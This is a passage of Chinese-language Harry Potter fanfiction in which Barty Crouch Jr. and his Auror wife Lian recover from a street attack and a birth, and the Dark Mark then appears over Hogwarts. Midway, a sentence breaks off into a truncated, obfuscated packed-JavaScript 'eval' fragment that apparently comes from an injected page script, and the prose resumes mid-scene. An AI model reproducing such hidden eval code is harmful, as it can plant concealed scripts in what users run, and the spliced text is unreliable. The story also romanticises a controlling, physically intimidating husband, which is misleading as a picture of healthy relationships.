小巴蒂一手抱着女儿,坐在扶手椅上,另一只手举起魔杖,凭空变形出两把椅子,示意唐克斯和酒吧老板都坐下来。 “说说吧,怎么回事。”小巴蒂的语调很平静。 “那个渣滓我见过,他在我这里经常搞一些违法的勾当,”酒吧老板——在小巴蒂眼中已明牌的凤凰社暗探阿不福思说,“和一些黑巫师交易C类禁止贸易物品,或者倒卖非法魔药。” “你呢?”小巴蒂转向唐克斯,他的声音里听不出来喜怒。 “今天在巡逻的时候,我们发现那个渣滓在对来霍格莫德的学生兜售护身符,据说能抵挡阴尸的攻击,”唐克斯低声说,“你也知道,黑魔头搞得大家人心惶惶,到处都有人弄一些稀奇古怪的东西出来卖钱,说是能够抵御食死徒,所谓的防身药剂,实际上就是肉汤加上一点儿淋巴脓水,还有防御魔咒的操作指南,实际上会让人掉了耳朵…他们利用人们的恐惧心理趁火打劫,我们阻止了他,因为学生们明显很害怕,他们太恐惧了,所以很容易上当。” 说到最后,她的眼神变得严厉起来,“莉安没收了那些东西,打算把它们交给亚瑟,亚瑟现在主管‘伪劣防御魔咒及防护用品侦察收缴办公室’,这事儿归他管,我本来是打算通知法律执行队的,但还没来得及,那个渣滓就冲学生们扔了一大堆乱七八糟的恶咒道具,这是所有人都没料到的,我猜他大概是害怕被抓进阿兹卡班,想趁乱逃走,莉安怕伤到孩子们,飞快的拦截了恶咒,然后就是这样了…” “蒙顿格斯·弗莱奇?” “不,不是他,”阿不福思说,“前些日子,这个家伙被抓起来送进阿兹卡班了,他扮成阴尸入室行窃。” “还记得长相吗?” “个子小小的,邋里邋遢,看起来有点猥琐,色眯眯的。”唐克斯回忆着说。 “我知道了。”小巴蒂一挥魔杖,女儿落在赫洛怀里,他掏出樱桃汁想喝一口,但犹豫片刻,又放了回去。 他起身对两人说道,“唐克斯你先回去吧,我要去办点事,阿不福思,你也下去吧,要是那个渣滓再敢回来…” 唐克斯又望了望昏迷的莉安,然后看了一眼她的女儿,确认母女平安,这才放心的离开,准备通知其他凤凰社成员。 “什么叫再敢回来啊?”唐克斯的背影消失在窗外的街道上之后,阿不福思凶神恶煞的吼道,“你最好不要做坏事!不然邓布利多…” “邓布利多可管不了黑巫师的事,”小巴蒂把食死徒的兜帽长袍披在身上,魔杖轻轻一擦,戴上了面具,“我们有自己的解决方法。” 阿不福思气哼哼的嘟囔着,小巴蒂用魔杖把天花板的吊灯和床头柜的提灯点亮了——当然,他也没忘记窗台上那盏星球熔岩灯。 “照顾好他们母女。”他弹指点着了炉火,头也不抬的对赫洛说。 “我知道了,男主人。”赫洛见这个坏男巫今天体贴的陪伴小姐生孩子,便也没跟他赌气。 “点这么多灯干嘛?”阿不福思粗暴的说,“不怕闪瞎她的眼睛吗?” “我要是不点,那她才会哭瞎眼睛,你不懂。”小巴蒂淡淡的说,复方汤剂的时效过去,他正在变形,片刻后,他把兜帽扣在了头上。 阿不福思讨厌他这副食死徒的装扮,皱着眉退出了房间,回到一楼继续应付那些古怪的客人去了。 小巴蒂把魔杖握在手里,摸了摸妻子微凉的脸颊,然后化成一股淡淡的烟雾——幻影移形离开了房间。 莉安第二天醒来时,视线还是有些模糊,但她听到有人在大喊。 她使劲儿眨了眨眼睛,过了片刻,她才看到莫丽坐在她的床沿边上,正俯下身,一脸紧张的看着她。 “噢,我的莉安,你可终于醒了,”莫丽哽咽着说,“可怜的孩子,罗巴兹也太过分了,你都快生产了他还让你工作…” “我没事,”她虚弱的笑了笑,“孩子呢,孩子还好吗?” “很好。”小巴蒂从房间那头走过来,把襁褓放在她旁边,又帮她翻了个身。 莫丽凑过来一起跟莉安一起看这个小家伙,嘴里发出啧啧的声音逗着她,“乔希想好名字没有?” “叫莎莫,”小巴蒂说,“挺好的,夏天出生的小家伙。” 莉安看了一会儿孩子,这才转向自己的丈夫,她咬着颤抖的嘴唇,好半晌才发出了一声微弱的道歉。 “对不起…” “你知道就好,”小巴蒂深深的叹了口气,坐到她旁边,“怎么能这么冒险呢?难道那个渣滓还敢当街杀人吗?就是几个恶咒道具,他们不会有事的,如果去医疗翼,我相信庞弗雷夫人几分钟就能把他们治好。” “是啊,我接到消息的时候差点吓死,”莫丽不满的撅着嘴,“这并不是真正的恶性事件,那天亚瑟收缴了一箱施了魔咒的窥镜,几乎可以肯定是某个食死徒安置在那里的,可是你看,这次只是一些招摇撞骗的护身符…” “是我太冲动了,莫丽,”莉安歉意的说,“不仅仅是护身符,那个白痴还卖变形勋章,说是只要把它挂在脖子上,就能随心所欲的改变相貌,千万张面孔,变化无穷,只卖十个加隆,唐克斯都惊呆了。” “那么实际上戴了以后会怎么样呢?”莫丽问。 “把面孔变成一种难看的橘黄色,有点像某种排泄物…不过也有两个人全身长出了触角般的肉瘤,这是给圣芒戈添麻烦,那里已经够乱的了,所以我们必须阻止这些人。” “这类玩意儿,像是弗雷德和乔治感兴趣的东西,莫丽迟疑着说,“是不是——” “当然不是!”莉安斩钉截铁的说,“他们两个现在不会做出那种东西了,你简直不能相信有那么多人——在魔法部工作的人,都念不出一个像样的铁甲咒,他们现在专卖防咒帽,可以反弹恶咒,魔法部已经给所有工作人员买了五百顶,现在他们不断接到大额订单,又在开发防咒斗篷。” “我不得不说,我起先并不赞成,但他们似乎确实有点儿生意头脑!”莫丽提起两个变得出息了的儿子,脸上的神情柔和多了,“家里最近也宽裕多了…他们又给罗恩送了一套新的袍子…” “所以证书的确没有那么重要,”莉安赶紧给两个亲亲表弟说好话,“有本事人做什么都会成功,只要找到适合他们的领域,莫丽,你现在不用担心他们了。” “是啊,现在我最担心的就是罗恩和金妮,他们还小呢,”莫丽忧郁的说着,眼泪从眼睛里扑簌簌的滚落下来,“家里一半的人都在凤凰社里,除非出现奇迹我们才都会死里逃生…珀西不跟我们说话了…如果发生了可怕的事情,我们永远没有机会跟他和解怎么办呢?如果亚瑟和我被杀害了,那可如何是好呢,谁会来照顾罗恩和金妮呢?” “莫丽,够了,”小巴蒂果断的说,“别再说傻话,我们知道伏地魔打算做什么——” 莫丽听到这个名字,惊恐的发出了一声尖叫。 “别说那个名字…” “我不怕,”小巴蒂干脆的说道,“没什么可怕的,我一直都这么叫他。” “的确不用怕,因为现在的情况比我爸爸那时候好得多,你那时候不在凤凰社里,所以你不知道,”莉安冷静的说,“西里斯告诉我,上次食死徒的人数是我们的二十倍,他们是把第一代成员一个一个干掉的…” “你也不要担心珀西,”小巴蒂痛饮了一口樱桃汁,继续说道,“他会回心转意的,到那个时候,他会对你们认错,请求你们原谅他,而你唯一需要考虑的是要不要接受他的道歉。” “由谁来照顾罗恩和金妮?”莉安微微笑了笑,面颊仍然有些苍白,“只要我们还有一个人活着,就不会让他们饿肚子,当初我爸爸和叔叔死掉了,食死徒又闯进了我的房子,你不是立刻就把我接到陋居去了吗?” 小巴蒂意味深长的看着她,而莫丽颤抖的笑了笑。 “我真是太傻了,”她低声说着,擦了擦眼睛,“莉安,你还记得当初那个食死徒是谁吗?去年那十个越狱犯里有没有他?” “我记得。”莉安面无表情的说。 “他是谁?”莫丽惊讶的问,“这些年你都没跟我们说过,我们以为你忘了呢。” “小巴蒂·克劳奇,”莉安轻描淡写的说,“就是那个假穆迪。” “你早就认出他来了!你甚至跟亚瑟要了那张报纸!”莫丽惊恐的尖叫着,“可你当年为什么不告诉我们呢?这样我们就可以指控他了!” “他没有对我做什么。” “但他差点儿就把你杀了!” “他不会杀我的,他只是觉得好玩罢了,他当时还是个顽劣的少年。” 莫丽阴晴不定的看着她,踌躇了好半晌才问,“那时他拿你当人质,邓布利多把他放走后,他是不是又对你做什么了?” “他没对我做什么,他放了我,不然我也不会躺在这里和你说话了,莫丽,我认为他不是个坏人,至少对我来说不是,”莉安深深的吸了口气,耐心的解释道,“就算是真正的穆迪,他也不会那么认真仔细的教导我,当年你也说过,老克劳奇的儿子非常优秀,他可能是冤枉的,现在你不这么认为了?” “但是他让哈利去送死!” “如果我被冤枉了,被关进阿兹卡班面对摄魂怪,我妈妈为了救我而死,等我好不容易获得自由的时候,又被夺魂咒控制了十几年,恐怕我也疯了,”莉安慢吞吞的说,“一个人疯了,那他什么都可能做得出来,如果是我,我也不保证我会不会想要报复,名誉、青春、亲情…这些东西都失去了,再也不会有了…而哈利,他只是个被黑魔头看中的倒霉蛋儿…这是他救世之星的命运。” “当然啦,我不是说他的行为是正确的,而是我认为,他坏得不算彻底,他是可以悔改的,也是值得被拯救的,”莉安毫不避让的直视莫丽的双眼,“你认为,老克劳奇没错吗?如果你和亚瑟才是小克劳奇的父母,你们又会怎么做?当年的小克劳奇和如今的珀西——恕我直言——区别不大。” “但是现在说这些还有什么意义呢?”莫丽苦口婆心的劝道,“他已经是个彻底的食死徒了,彻头彻尾的神秘人的手下,你千万不能——” “我不能什么?”莉安看着她,轻轻的问,“我不能什么?” “你可以在心里同情他,但是见到他的时候不能手软,”莫丽忧心忡忡的说,“你这孩子重感情,他教过你,弗雷德和乔治也对我说,他对你很好,就像对待女儿那样,我想可能是吉迪恩死得太早,你对他有些移情——” “我没有,”莉安打断了她,静静的说,“我对他不是对父亲的感情,我也不会把他当成我的父亲,他和爸爸是完全不一样的人。” “那我就放心了。”莫丽松了口气。 围观的小巴蒂:……你放心的太早了,她对我的确不是对父亲的感情。 她那是对心爱的男人的感情! 又说了一会儿话,莫丽看她精神很不错,又仔细的交代小巴蒂好好照顾她,这才准备回陋居去了,毕竟家里还有个亚瑟和比尔等她的消息呢。 噢,还有那个讨厌的准儿媳芙蓉! 莫丽的脸皱成了一团,她感觉牙疼极了,早知道会有今天,她就同意侄女和比尔的事了,而不是让乔希捡了个便宜,她却摊上了黏痰——噢,不,是芙蓉。 莫丽匆匆的走了,小巴蒂看莉安喂完女儿,又把女儿放回床尾的婴儿车里,他的变形时间到了,便躺在她身边,任由莉安搂着他。 “终于卸货啦!”莉安伸了个懒腰,感觉十分轻松,“我以后再也不生孩子了,反正现在儿女双全。” “我有个问题。”小巴蒂摸摸她瘪下来的肚子,感觉有些不适应。 “你说。” “如果这胎还是儿子呢?你还生吗?” 莉安想到莫丽连生了六个儿子才生出女儿,她猛地打了个哆嗦,太恐怖了… 但她很快就狠了狠心,喊道,“生!生到生出女儿为止!” “可别,”小巴蒂皱着眉头说,“这一次你把我吓坏了,我就离开了一会儿,谁能想到会发生这种事呢?那帮家伙一般在对角巷摆摊的。” “下次不会这么莽撞了,”莉安情真意切的说,“我很抱歉,巴蒂,要是我有个三长两短——” “那我就回伏地魔身边去,我知道他想摧毁这个世界的秩序,这跟我不谋而合,”小巴蒂的眼睛里闪烁着狂热疯癫的光芒,声音暗含一丝危险,“反正我的妻子为了其他无关紧要的人牺牲了自己,她抛弃了我,我也会抛弃这个世界。” “但是我们还有三个孩子——” “他们会原谅我的,不原谅也无所谓,”小巴蒂捏着她的下颌,语调残忍,“你都舍得抛弃孩子们了,怎么能要求我呢?你跟我玩双标,我也会。” 小巴蒂手劲儿大,莉安被他捏得有点疼,于是眼泪汪汪的看着他,“巴蒂,别发疯,我还没死呢。” “等你死了我就来不及说了,”小巴蒂轻轻拍了拍她的脸颊,又蜻蜓点水一般的吻了她的唇,“都没那么红了,我很不喜欢…” “会好的,”她恐惧的重复道,“会好的,只要我多吃点东西…” 小巴蒂冷哼一声,放开了她,赫洛紧张的把食物端了过来,开始喂她吃饭。 莉安偷瞄他一眼,只觉得小巴蒂现在平静的可怕,他居然没咬她,这完全不像他的风格… “怎么了?”小巴蒂感受到她偷偷摸摸的目光,温柔的问。 “不,没什么。”莉安立刻老老实实的张开嘴,小巴蒂一直盯着她,直到赫洛把她喂得再也吃不下任何东西,他才打开窗户,拿起今天早上猫头鹰扔在窗台上的报纸。 小巴蒂悠闲的翘着二郎腿,坐在扶手椅上,整张脸都躲在了《预言家日报》后面,他盯着第一版,很快就发出了接连不断的放肆笑声。 “发生什么事情了吗?”莉安看到他翻来覆去的浏览 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莉安看看担架上唯一露出来的人头,一时陷入了沉默之中。 这个家伙对那些学生们用了恶咒道具,然后幻影移形逃跑了,是她拦截了那些道具,导致恶咒全部落在她身上,她当时只觉得一阵剧痛,哗啦一声,她的身体就像一个漏掉的水壶,巫师袍立刻就湿透了。 “是个好消息,”小巴蒂心满意足的躺下,把莉安的领口扣子解开,头在她胸口上拱来拱去,趁她沉思时迫不及待的要做一些下流事,“等他从圣芒戈出来,还要去蹲阿兹卡班,这可真是——” 他停顿了片刻,喉结上下滑动,咕咚一口,才继续说道,“可真是让我开心。” 说完,又是一阵疯狂的大笑声,在莉安那令人窒息般的沉默不安中,小巴蒂终于笑够了,他又咧开嘴,上下排牙齿咬得紧紧的,一副得意洋洋的神经模样。 他盯着傻愣愣的莉安,摇了摇她的肩膀,“怎么了宝贝?不开心?” 莉安没有说话,她觉得自己此刻无助极了,他不是没有发疯,而是昨晚发过了。 她溃败了,屈服了,在这个燥热而昏暗的房间里,他抱着她,他们的影子甚至都融为一体,如此自然而然,仿佛再也无法选择比这更自然的姿势了。 在这种不稳定的氛围中,他仿佛让她更明确了她心中的想法——她的确深爱他,不是因为她能接受他喜欢按他自己残忍的方式行事,而是因为他在受到伤害或者急不可待时总是显得异常冲动、棱角分明、带着刺,如果她不爱他,她就不会一次次屈服于他的推搡打闹,就像一开始她总是想表示出她对他的一切嗤之以鼻,却被他轻易、草率且粗暴的拆穿。 他就是这样把她逼到角落里,若她质疑他的举止行为,就意味着她不仅是轻视他的举止,更是轻视他这个人,甚至他挑眉的方式,都是在警告和暗示她立即屈服,而她就如同小鸟奓起蓬松的羽毛把自己的体积膨胀到三倍,想要把他吓退,这样便可以更好的隐藏自己因为得不到的东西而产生的恐惧。 他的确是该死的奶牛猫,折磨别人的时候就如同抓住了一只小老鼠,尚且没有亮出全部锋利的爪子,只是懒洋洋的伸出一根尖尖的指甲,按住老鼠的尾巴,当它以为自己能够逃脱时,跑向远处,但那根指甲却把它牢牢的钉在原地——猫喜欢看猎物挣扎的样子,享受它们垂死挣扎的绝望,然后玩腻了,就一口咬碎它们的头盖骨。 也许小巴蒂就是他外表呈现的那样:懒散、机敏、警觉、尖锐、危险。 一开始,她总是想逃开他,因为他经常用一副开玩笑的口吻向她求爱,并且引诱她,这让她不得不怀疑他是想让她的希望升起后,再瞬间破灭,而后,为了开脱自己没有履行的承诺,或者说不屑于履行,他就会试图让她认为她从未想过和他在一起——她心里清楚的知道这不是事实! 小巴蒂一直在观察的表情,意识到自己可能把她吓到了,他决定换个方式让她接受——或者说,让她忘掉,于是他摸摸她的肩膀,用嘴唇蹭蹭她的脖子,亲亲她的右耳、左耳,沿着她的胸骨… “我现在不行…”莉安弱弱的说。 “我知道,你把我当成什么人了?”小巴蒂立刻转移话题,“我帮你请了假,你必须在这里休息一个月,哪儿也不能去,直到你恢复血色为止。” “那我想见孩子们怎么办?”莉安难得有一个假期,便没有反对,她想到了两个儿子,迫不及待的说,“巴蒂,让闪闪把他们带过来?” “但是他们真的很吵,一岁半的孩子都这样,”小巴蒂沉思了片刻,说道,“白天可以让闪闪带过来,但是晚上…” “可是他们这么小,我怕幻影移形对他们有影响啊…” “不会的,”小巴蒂心不在焉的说,“那两个小子胆子大的很,何况家养小精灵拥有巫师不了解的魔法,闪闪能凭借她的魔法控制我十几年——虽然是因为夺魂咒,但变相来说,他们真的很强,所以巫师不允许他们使用魔杖。” “那一会儿就把他们带过来吧?”莉安可怜巴巴的说,“我真的好久都没见到他们了,巴蒂…” 小巴蒂大喊一声,“闪闪!” 随着一声巨响,身穿粉色小裙子的闪闪鞠了一躬,尖声尖气的说,“主人叫我?” “你去把两个少爷带过来。” “闪闪听凭主人吩咐,”闪闪的腰弯得很深,嘴几乎碰到了脚趾,“两个小少爷一定会很高兴的。” 当两个儿子出现的时候,小巴蒂早有预兆的用了闭目塞听——实在是太吵了。 “唉,我真的是个不称职的母亲,”莉安看到两个儿子兴奋的尖叫着爸爸妈妈,往她怀里扑,只觉得心酸极了,她擦了擦眼泪,“但是我不能——” “我知道,你在追求自己的理想,你有你的事业,虽然它现在看起来前途未明,但这是你的坚持。”小巴蒂抱着活泼好动的兰斯,拿韦斯莱双子送的戏法魔杖逗弄儿子。 他挥了挥戏法魔杖,于是魔杖突然变成了一只橡皮鸡,兰斯惊讶的呃呃叫。 “你想做什么就做什么吧,我没事的时候就在家里,放心,一切有我呢。” 小巴蒂说完,递给她一根戏法魔杖,莉安怔怔的看着他,凭本能跟他你来我往的比划剑术,他手里的魔杖变成了一只镀锡的鹦鹉,而她手里那根变成了一条橡皮的黑线鳕鱼。 “谢谢你,亲爱的,”她语无伦次的说,“你总是这样支持我,哪怕我们当初立场不同,你也愿意帮我成为傲罗。” “又说傻话。”就在这时,莉安那条黑线鳕鱼的脑袋掉了下来,无声的落到地板上——刚才小巴蒂那只鹦鹉的利喙把它割断了。 小巴蒂得意的放下鹦鹉,兰斯正在他怀里兴奋的拍手,“你这个犟种,我知道,我是不可能阻止你的,我也不想阻止。” 莉安的眼眶都感动得湿润了,刚想鼓起勇气跟他说几句深情款款的话,洛特就不耐烦的咂咂嘴,盯着她的胸口,平时机灵的灰色眼珠子都不转了,紧紧的粘在了上面。 看着儿子那副馋得不行的眼神,莉安仿佛被石化咒击中了,她不可置信的望望丈夫,终于想起来他刚才对自己做了什么。 “我记得,”她用很慢很慢的语气说,“我好像一年前就给他断奶了。” “噢,他闻到味儿了,”小巴蒂意犹未尽的舔了舔嘴角,“要不你就…” “巴蒂·克劳奇!”她气愤的吼道,惊飞了窗外树梢上的群鸟。 “什么闻到味儿了!他就是有样学样!全都像你!” 29. 死亡 1997年6月30日,霍格莫德。 小巴蒂出了大门,猪头酒吧的标记在他身后吱吱的发出轻响——尽管没有风,与三把扫帚相比,这间酒吧里显得空空荡荡的,今天没什么客人。 就在他把一堆烟火放在地上,准备用魔杖点燃时,暮色笼罩的通往霍格莫德的荒凉小路上,突然传来一阵轻轻的脚步声。 两个人影拐进这条小街,夜色降临的速度同他们的脚步一般快,当他们来到酒吧门口时,天已经完全黑下来了,只有酒吧二楼的窗户里闪着灯光。 “邓布利多?哈利?”小巴蒂眯着眼睛打量他们片刻,若有所思的说,“进来喝一杯吗?” “不了,我们没有必要进去,”邓布利多扫视着他的脚下的烟火,又抬头望了望二楼窗口边的莉安,喃喃的说,“如果可以的话,你们就当没看见我们离开。” “你在这儿做什么?”哈利突然问道。 “莉安的身体康复了,我放点烟火庆祝一下,”小巴蒂温和的笑了笑,“这是乔治和弗雷德送来的韦斯莱嗖嗖一嘭烟火。” “你们要出去?”莉安打开了窗户,对着楼下喊道,“注意安全呐,邓布利多,现在外面不太平,何况你还带着哈利。” “别担心,莉安,乔希,和我在一起,哈利绝对安全,记得替我保密。”邓布利多说。 莉安点点头,邓布利多又转向哈利,“那我们出发吧,现在你把手放在我的胳膊上,哈利,不用抓得太紧,我只是引着你,我数三声——一…二…三…” 两人旋转着幻影移形消失后,小巴蒂用魔杖点燃了烟火,一些全身由绿色和金色火花构成的火龙在黑色的夜空里飞来飞去,喷射出艳丽的火红色气流,发出巨大的爆炸声。 还有颜色鲜艳的粉红色凯瑟琳车轮式烟火,直径有五英尺,带着可怕的嗖嗖声飞速转动着穿行在空中,就像许多飞碟,火箭烟火拖着闪耀的由银星构成的长尾巴时不时路过窗前,而烟火棍在空中自动写出各种祝福的话。 “今晚我们可以休息一下,”莉安看着一枚拖着银色尾巴的韦斯莱火箭飞快的从窗户外掠过,兴高采烈的说,“过几天就放暑假了,到时候我们就有足够的时间天天待在一起,我都有点想念祖宅了。” “是啊,我也想早点回去了,但不得不说,你这两个表弟真的很有发明天赋,”小巴蒂回到楼上时,一些长着银色翅膀、发出闪耀的粉红色的小猪正从他头顶上飞过,“为了庆祝莎莫出生,再逗你开心,他们俩也没少破费。” “简装火焰盒五个加隆,豪华爆燃大礼包要二十个加隆,”小巴蒂给她算了一笔账,“当然这只是对外的售价,但是他们的确大手笔了。” “勒洛伊地下室那套银铠甲就挺不错的,我想送给他们,可惜只有一套,”莉安郁闷的说,“要不还是送给他们吧,再添点别的东西,今年圣诞加进礼物里。” “为什么想送铠甲?” “噢,这很明显,”莉安不在意的说,“他们两个退学去创业,战斗力跟不上,听说哈利在学校里搞了个DA——邓布利多军,专门教导其他人黑魔法防御术,因为去年那个乌姆里奇简直比洛哈特还废物,他们几乎什么也没学到,这可不行,他们两个都是凤凰社的人了,我可不想看他俩拿一堆道具对付食死徒,万一道具用完了呢?站着挨打?这可是你说的——黑巫师不会坦率、公道、礼貌的给别人念咒。” “行吧,”小巴蒂被她逗笑了,“战斗力不够防御来凑,让他们俩叠甲。” 两人躺下时,仍然能听到爆竹在远处发出的巨响,莉安脱去衣服后,一根烟火棍从窗户旁飘过,仍然在不屈不挠的拼出“平安”两字。 小巴蒂迫不及待的凑了上来,抬起她的腿,片刻后莉安就被迫发出了高声尖叫,“轻点儿!” “不!你说过你不喜欢温柔的!” “那是你逼我的…” 在这个温柔的夏日夜晚,处处都有爆竹和烟花像地雷一样炸开,它们并没有烧光,渐渐从视线中消失或者发出嘶嘶声停下来,而是相反,时间越久,这些令人眼花缭乱的奇迹似乎就越有能量和动力。 半个小时后,小巴蒂刚把大汗淋漓的莉安搂在怀里,准备美美的睡个觉,但他很快又睁开眼睛,翻身从床上坐起。 “怎么了?”莉安睁着水雾弥漫的眼睛,身体软软的攀上了他的后背,她累极了,只好把头放在他的颈窝处,起伏的呼吸不断喷在他的脖子上。 “我必须回应他的召唤,就是现在,”小巴蒂皱眉看着左手臂内侧扭动的黑魔标记,把她推回床上,又吻了吻她的脸颊和额头,“你别担心我,应该不是战斗,最近他很少把我和贝拉派出去,只让一些小喽啰冲在前面。” “你知道的,他复活后,人手不足,”他迅速的穿好了衣服,继续解释,“除了用夺魂咒增加手下的势力,他还把一些以前根本没资格上桌子的外围食死徒加入了内部圈子,慢慢靠近我们这些核心成员——当然,他们离得还远呐,只是打上了黑魔标记的烙印,但是这让我很不满意。” “为什么?”莉安不解的看着他。 “今时不同往日了,”小巴蒂叹了口气,把兜帽长袍披在外面,“他没有惩罚那些逍遥法外的食死徒,那些从来没有试图寻找过他的渣滓,我想明白了,如果他不原谅他们,那他就没人可用,虽然贝拉和莱斯特兰奇兄弟是忠诚的,但这些人明显不够,无法跟人数众多的傲罗和凤凰社成员对抗,所以他决定先攻陷魔法部,你等着看吧,斯克林杰刚愎自用,把他最有力的盟友——邓布利多和凤凰社推得远远的,他很快就会后悔的,我早就说过,他是个莽夫,像福吉那样提防邓布利多,怕他架空魔法部的势力,我不得不说,这太愚蠢了,大战一触即发,他却在勾心斗角,他是个没脑子的家伙,不适合做政客,他的心机手段最多只能做个傲罗主任,他上台做部长,只是因为魔法界现在人心惶惶,巫师们更愿意看到一个强硬派。” 说完,他宠溺的拍了拍莉安的脸颊,“宝贝,你也是,你最多只能做司长,除非我在背后给你出谋划策,论心智和手腕,其实现在最适合的部长人选是老巴蒂,可惜他的骨头还埋在海格小屋前那块新翻的菜地里呢。” “有机会把他和你母亲的尸骨带回来吧,”莉安瞄着他的表情,小心翼翼的提出建议,“要不以后孩子们长大了,他们问祖父祖母的事,咱们不好交代…” “随你吧,”小巴蒂不可置否的点点头,戴上了面具,“早点睡,亲爱的,等办完事我立刻就回来。” 莉安突然起身,从背后抱住即将离开的他,光洁的身体摩擦着他的长袍,她喃喃的说,“巴蒂,你一定要小心,不要被他发现,不然他会折磨你…我知道,他的手段一定很残忍…” “你要对我有点儿信心,”小巴蒂转过身来,掀起面具,两人深深的吻在一起,交换了彼此的气息,“我肯定比斯内普更聪明,何况我的功劳最大。” 莉安蹭了蹭他的脖颈,看他重新戴好了面具,转身离开了房间。 “记得开着灯。” 莉安走到窗台前,点亮了星球熔岩灯,楼下的小巴蒂停顿了一瞬,仰起头,莉安猜测他是在咧嘴笑,等他幻影移形之后,她才郁闷的躺回床上。 这一个月她无事可做,伏地魔仿佛也是如此,小巴蒂甚至比她刚毕业那一年还清闲,他们一直黏黏糊糊的待在一起,直到阿不福思粗暴的敲门,带来邓布利多的秘密任务。 小巴蒂是个极好的父亲,就像她幻想中那样,是吉迪恩应该有的样子,她猜测可能是老巴蒂伤他太深,他不愿意他的孩子也重蹈覆辙,所以对待两个狗都嫌弃的顽皮儿子,他几乎是给予了他们最耐心的包容和教导。 如果不是老巴蒂不近人情的严苛教育扭曲了他的灵魂,那么他本来应该是所有教授眼中那个拿了十二张证书,前途无量的好孩子,而不是毅然决然的加入了食死徒,只为了和父亲对着干——人都有叛逆的时候,何况是小巴蒂这样压抑了很多年的孩子呢? 如果他的父母是莫丽和亚瑟,用爱去包容他,那么恐怕就像她说的,他就算像珀西那样心中有深重的权利欲望,也会被爱拉回正途,而不是在摄魂怪和夺魂咒带来的双重崩溃之下,横下心来把邪路走到底,复活黑魔头,来报复那个对他没有怜悯之情、甚至没有表现出一点儿痛惜和不舍的父亲,也报复这个老巴蒂不惜跟他断绝父子关系也要获得权利的世界。 她一直都认为她的丈夫很可怜,所以她愿意用所有的耐心和爱,慢慢把他引回正确的道路,也帮他弥补他犯下的错误。 因为她知道他就是整个世界,而她在世界里,她现在就在他的笼罩之下,因为他无处不在,如果他不在了,那她只是看起来像活的。 那次毫无征兆的相遇,就像某个天上的神准备着,他不在状态,也没有想清楚,便莽撞的让他们相遇了,于是他们两个跌跌撞撞的发现了对方,即兴发挥出他们的台词,直到多年后,一个更好的神出现,让他们有第二次机会重新认识彼此。 她想倒回去,回到很多年前,那时候他还是一个还没有告诉她名字的人,但却是已经出现在她面前的人,她希望在第二天清晨的梦中醒来时,他不要那么快消失,至少在她醒来之前不要消失。 她想让他留下来,想告诉他:虽然我现在看起来很小,但你不该松开环抱着我的手,我会是你未来的妻子,如果你愿意耐心的等等我,便不会经历那些刻骨铭心的苦痛折磨,直到十三年后才用那么草率、危险、蓄有敌意的方式与我再次相遇。 但如果真的有这个机会,更有可能的是她完全忘记了那个雷雨夜,就像一个从催眠师那里或是从前世回来的人,她会遇到新的人,她不认识的、从来没有遇到过的人,也不知道他们存在的人,更不用说认识的人。 也许她会迫不及待的想见到一个别的人进入她的房子,她会承诺永远不会忘记或离开他,直到一个金发灰眼的少年不知从哪里冒出来,用恶劣且漫不经心的方式说了些让她一头雾水的话,他把她举起来,放在手臂上,这熟悉的动作可能会让她模模糊糊想起以前见过的一个男人,但她实在记不清了。 “请告诉我,你的名字是巴蒂。” “你是巴蒂吗?” “你叫巴蒂·克劳奇吗?巴蒂?” 他说,“不,我不是巴蒂·克劳奇。” 那她一定会哭泣的。 就在这时,一阵急促的脚步声传来,阿不福思重重的撞着房门,“莉安,快起来,霍格沃茨出事了!” 莉安一跃而起,迅速穿好干练的傲罗长袍,把魔杖拿在手里,打开了门。 “无论出了什么事,阿不福思,你帮我照顾好莎莫就可以,我现在就去城堡,是食死徒攻打学校了吗?” “不,并不是从外攻破的,我怀疑他们已经潜进了里面,”两人迅速下楼,来到了布满繁星的夜空下,阿不福思指着霍格沃茨城堡所在的方向,“你自己看吧。” 此时在那些烟火的掩映下,黑魔标记正悬挂在学校上空:那个绿得耀眼的骷髅,嘴里吐出蛇信子般的舌头。 食死徒们无论什么时候闯入一座建筑物,无论在什么地方杀了人,都要留下这样的标记。 然而莉安还没动身,就听见奔跑的脚步声,她扭头一看,罗斯默塔女士顺着漆黑的街道朝他们跑来,她脚上穿着毛绒高跟拖鞋,身上是一件绣着火龙的丝绸晨衣。 “它是什么时候出现的?”莉安迅速的问。 “有一段时间了,我把猫放出去的时候它还不在那儿,可是等我上了楼,刚刚拉上卧室窗帘时,它就出现了,没几分钟,又看到邓布利多和哈利幻影显形,”罗斯默塔女士说,“谢天谢地,谢天谢地,我真不知道该怎么办,幸亏他们出现了,邓布利多让我给魔法部送情报,我想一会儿部里的人就来了。” “那他们人呢?” “他们拿了我的扫帚,直接飞回去了,”罗斯默塔神色非常惊恐的说,“邓布利多好像很虚弱的样子,不知道是不是受伤了…” “还有扫帚吗?” 莉安立刻举起魔杖。 “罗斯默塔的扫帚飞来!” 但是四下静悄悄的,什么也没发生。 “没有了,”罗斯默塔摇了摇头,“那是最后两把。” “也许当时,霍格沃茨的人还不知道已经出事了…而现在太晚了…”莉安喃喃的说,“阿不福思,你在这里继续接收消息,等乔希回来,不要让他担心,我这就去。” 阿不福思点点头,眼睛里流露出一丝不易察觉的担忧,他和罗斯默塔朝着各自的酒吧走去。 等两人都消失后,莉安警惕的拐进一条小巷子里,把魔杖咬在嘴里,变身后迅疾的朝着城堡飞去,她紧紧的盯着黑魔标记,深蓝色的羽毛在夜空中飘荡,恐惧像一个有毒的气泡一样膨胀着,挤压着她的肺部,她已根本没有心思考虑小巴蒂现在在哪里… 她飞过那些漆黑的、蜿蜒曲折的小巷,晚风在耳边呼啸掠过,当她畅通无阻的飞过围墙、进入场地时,猛然发现邓布利多亲手设置在城堡周围的那些防护咒语已经失效,而黑魔标记是在城堡的制高点——天文塔的上空闪烁着。 一阵吵嚷和爆炸的声音传来,莉安低头看向场地,一场激烈的战斗正在她面前进行,唐克斯和一个身材庞大的金发巫师正战得不可开交,小天狼星、麦格教授和卢平正在那边各自迎战一个食死徒,咒语四处乱飞,碰到城堡大门反弹出去,石头震裂了,窗户玻璃震碎了… 